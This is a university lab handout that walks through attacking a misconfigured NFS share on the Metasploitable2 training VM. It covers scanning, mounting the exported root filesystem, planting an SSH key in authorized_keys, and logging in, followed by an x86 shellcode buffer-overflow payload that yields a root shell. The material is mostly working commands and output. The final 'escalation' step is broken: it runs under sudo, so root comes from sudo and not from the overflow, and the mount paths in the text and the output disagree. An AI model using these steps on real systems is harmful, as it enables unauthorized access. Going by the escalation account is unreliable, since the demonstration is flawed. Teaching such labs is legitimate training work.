



LINGI2144: Secured System Engineering

NFS share vulnerability



Academic year : 2020 - 2021

Teacher : LEGAY Axel
Course : LINGI2144
Collaborators :
CROCHET Christophe
DUCHENE Fabien
GIVEN-WILSON Thomas
STREBELLE Sebastien

1 Prerequisite

Download the vulnerable VM:

<https://sourceforge.net/projects/metasploitable/files/Metasploitable2/metasploitable-linux-2.0.0.zip/download>

Also configure your VM network with bridge access.

To install it in VirtualBox follow:

<https://www.gladir.com/SOFTWARE/VIRTUALBOX/comment-ouvrir-un-fichier-vmdk-existant-dans-virtualbox.htm>

Connection:

| username | password |
|----------|----------|
| msfadmin | msfadmin |

Last note: put belgian keyboard:

- setxkbmap be (for graphical interface)
- sudo loadkeys be (**for linux terminal**)

2 Exercise

NFS stands for "Network File System" and allow the storage and retrieval of data from multiple disks and directories across a shared network. A network file system enables local users to access remote data and files in the same way they are accessed locally.

NFS uses TCP/UDP on **port 2049** for sharing any file/directories. ¹

The NFS share vulnerability is caused by misconfigured NFS setup which basically consist in 3 main files. See <https://www.hackingarticles.in/linux-privilege-escalation-using-misconfigured-nfs/> for more technical reason on this.

Let's start this tutorial:

- (On NFS server)
 1. Put `ifconfig -a` to get your IP address <X>
- (On kali: root/terminal1)
 1. With `nmap` which allow to make some scan on IP address

`nmap -sV <X>`

¹<https://www.techopedia.com/definition/1845/network-file-system-nfs>

```

admin@kali:~$ nmap -sV 192.168.178.85
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-17 11:43 EDT
Nmap scan report for 192.168.178.85
Host is up (0.0013s latency).
Not shown: 977 closed ports
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec?
513/tcp   open  login
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 63.19 seconds

```

2. Show the mount information of NFS server with

```
sudo showmount -e <x>
```

```

admin@kali:~$ sudo showmount -e 192.168.178.85
Export list for 192.168.178.85:
/ *

```

3. Create a temporary folder to mount it and mount it:

```
mkdir /tmp/nfssharevuln
sudo mount -t nfs <x>:/ /tmp/nfssharevuln
```

```

admin@kali:~$ df -k
Filesystem      1K-blocks    Used Available Use% Mounted on
udev             969288         0   969288  0% /dev
tmpfs            199768       3428   196340  2% /run
/dev/sda1       79980100 10766324 65108000 15% /
tmpfs            998840       3396   995444  1% /dev/shm
tmpfs             5120          0     5120  0% /run/lock
tmpfs            998840          0   998840  0% /sys/fs/cgroup
tmpfs            199768         16   199752  1% /run/user/1000
192.168.178.85:/ 7282688 1477632 5437440 22% /tmp/infosec

```

4. Go in the msfadmin folder with:

```
cd /tmp/nfssharevuln/home/msfadmin
```

Now with `ls -al` we can see that there is a hidden folder called `.ssh/`

```

admin@kali:/tmp/infosec/home/msfadmin$ cd .ssh/
admin@kali:/tmp/infosec/home/msfadmin/.ssh$ ls -al
total 20
drwx----- 2 admin admin 4096 May 17 2010 .
drwxr-xr-x 5 admin admin 4096 May 20 2012 ..
-rw-r--r-- 1 admin admin 609 May 7 2010 authorized_keys
-rw----- 1 admin admin 1675 May 17 2010 id_rsa
-rw-r--r-- 1 admin admin 405 May 17 2010 id_rsa.pub

```

- (On kali: root/terminal2)

1. To do the exploit, now generate a ssh key with

ssh-keygen

```
admin@kali:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/admin/.ssh/id_rsa): nfssharevuln_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in nfssharevuln_rsa.
Your public key has been saved in nfssharevuln_rsa.pub.
The key fingerprint is:
SHA256:1DNjaFk0IIPq5+FYrfHe/leXBbGystvXHawA9fIiNB4 admin@kali
The key's randomart image is:
+---[RSA 3072]-----+
|
|.o.o+..
|o.o..
|.=B.o..
|.oE=+.
|.S=+.o
|.=.o=..+.
|*=o.o..oo
|.+.o..o
|...o.o...
+---[SHA256]-----+
```

2. And print the result of nfssharevuln_rsa

```
admin@kali:~$ cat nfssharevuln_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQGCxrTZjsF05nmKmW3n1A8C+7S+WtDxBXuMubGyiL00ao9y5EWw9v9T0t0KUVpRkjbtCKZnsJ5aNNsd
1iW2N2y74Kl1lr2YPATXRcf6c354MicuA+pftyBXIXZuoDz6GmbRMIFQHY1sD+ftDj9DLZeUa5ypE5RPdnKztezEKu0PzzBKyZiT+pVRmj9HbgnR5/
meAQYS7zrArjShhHr3aohTMSbwHQ03iq7AHlakXjUr2E6oi5iHAMPitXocp9QrdMQWmbxOvj193Cj3zg32TcJ2KKe1QmroXU4b7eWZPHxb8AuLfnUDR
KluAI/5anFTXDhmEZzzLbMLIbSnYob7Artu5cuw+A4R77+uudA6kd6cmXtJFLIAFqlfVBIdHbDQHbIC9MTV0N1qo09bTfNOpvIrc9qWD/n1WU6nl0RL
G1kHAKThy+yEotwBrHtdzY5x0q1bxZu9PkfaTw0H0ISsWT5/avy8PyUcGrPBL8DkofNbUmvoRT4eqeIGpnfgpC6dcjs= admin@kali
```

- (On kali: root/terminal1)

1. Now back on our first terminal, put the content of your key in the authorized_keys file of the .ssh folder.

echo ssh-rsa <key> >> authorized_keys

```
admin@kali:/tmp/infosec/home/msfadmin/.ssh$ echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQGCxrTZjsF05nmKmW3n1A8C+7S+WtD
xBXuMubGyiL00ao9y5EWw9v9T0t0KUVpRkjbtCKZnsJ5aNNsd1iW2N2y74Kl1lr2YPATXRcf6c354MicuA+pftyBXIXZuoDz6GmbRMIFQHY1sD+ftD
j9DLZeUa5ypE5RPdnKztezEKu0PzzBKyZiT+pVRmj9HbgnR5/meAQYS7zrArjShhHr3aohTMSbwHQ03iq7AHlakXjUr2E6oi5iHAMPitXocp9QrdMQW
mbxOvj193Cj3zg32TcJ2KKe1QmroXU4b7eWZPHxb8AuLfnUDRKluAI/5anFTXDhmEZzzLbMLIbSnYob7Artu5cuw+A4R77+uudA6kd6cmXtJFLIAFql
fVBIdHbDQHbIC9MTV0N1qo09bTfNOpvIrc9qWD/n1WU6nl0RLG1kHAKThy+yEotwBrHtdzY5x0q1bxZu9PkfaTw0H0ISsWT5/avy8PyUcGrPBL8Dkof
NbUmvoRT4eqeIGpnfgpC6dcjs= admin@kali >> authorized_keys
```

2. Finally connect to the NFS with ssh:

ssh -i nfssharevuln_rsa msfadmin@<x>

```
admin@kali:~$ ssh -i nfssharevuln_rsa msfadmin@192.168.178.85
The authenticity of host '192.168.178.85 (192.168.178.85)' can't be established.
RSA key fingerprint is SHA256:BQHm5EoHX9GCi0LuVscegPXLQ0suPs+E9d/rrJB84rk.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.178.85' (RSA) to the list of known hosts.
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
Last login: Fri Jul 17 11:41:44 2020
msfadmin@metasploitable:~$ whoami
msfadmin
msfadmin@metasploitable:~$
```

1. Once done, we will now try to get all privileges, one could do that with `setuid()` exploit for example. Here we will do that with buffer overflow coupled with shellcode.

```
msfadmin@metasploitable:~$ sudo ./vulnerable_file `perl -e 'print "\x90"x220 . "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x8
8\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\x
ff/bin/sh" . "\x90\xf1\xff\xbf"'`
[sudo] password for msfadmin:
*****
*****v
1[0@*****/bin/sh*****
sh-3.2# whoami
root
sh-3.2#
```

Everything is done, we are now connect as root !